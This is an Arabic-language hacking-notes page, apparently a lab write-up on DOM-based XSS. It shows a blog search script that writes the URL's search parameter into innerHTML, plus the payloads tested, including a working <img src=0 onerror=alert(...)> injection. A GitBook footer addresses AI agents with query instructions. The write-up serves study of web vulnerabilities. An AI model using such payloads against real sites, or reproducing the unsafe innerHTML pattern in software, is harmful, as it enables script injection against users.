> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/dom-xss-with-innerhtml-and-location-search.md).

# DOM XSS مع innerHTML وlocation.search

### ثغرة DOM XSS في وجهة InnerHTML باستخدام المصدر location.search

ثغرة DOM XSS في ميزة البحث في المدونة. يسترجع الكود قيمة `location.search` ويُدخلها مباشرةً إلى DOM عبر `innerHTML`، مما يسمح بحقن JavaScript وتشغيله عند قدوم القيمة من عنوان URL.

<figure><img src="/files/377dbeb194fb60693aa0fd5eb56d0f2de75a81c1" alt=""><figcaption></figcaption></figure>

**مقتطف من الكود الذي تمت ملاحظته**

```javascript
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
```

**الحمولات التي تم اختبارها**

* حمولة بسيطة (لا يتم تفسيرها): / `<script>alert("XSS")</script>`
* اختبار إدراج عنصر صورة:/ `<img src="test"</img>`/ (هذا لا يؤدي إلى تنفيذ السكربت لعدم وجود سمة حدث)

<figure><img src="/files/ef58d1da6b72aec12dc5c0bba0da30754b7681bb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f9e4916bbc08a674d68719a5a7d0faf6ec1b1b25" alt=""><figcaption></figcaption></figure>

فرض حدوث خطأ في التحميل لتشغيل `onerror` المعالج:/ `<img src=0 onerror=alert("XSS")>` / (تستخدم هذه الحمولة `onerror` سمة الحدث لتشغيل `alert` عند فشل تحميل الصورة)

```javascript
<img src=0 onerror=alert("xss")>
```

<figure><img src="/files/71552517ec31b9e694717d38f18614ba7a205ec6" alt=""><figcaption></figcaption></figure>

يؤثر السكربت مباشرةً على `innerHTML` باستخدام الكلمة المفتاحية `search` قيمة عنوان URL؛ لذلك قد تؤدي المقاطع HTML التي تحتوي على معالجات أحداث (مثل `onerror`) أو الوسوم القابلة للتنفيذ إلى تنفيذ الشيفرة. الـ `<img src=0 onerror=alert("XSS")>` تؤدي الحمولة إلى خطأ في التحميل وتشغّل `alert("XSS")`، مما يوضح ثغرة DOM XSS.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/dom-xss-with-innerhtml-and-location-search.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
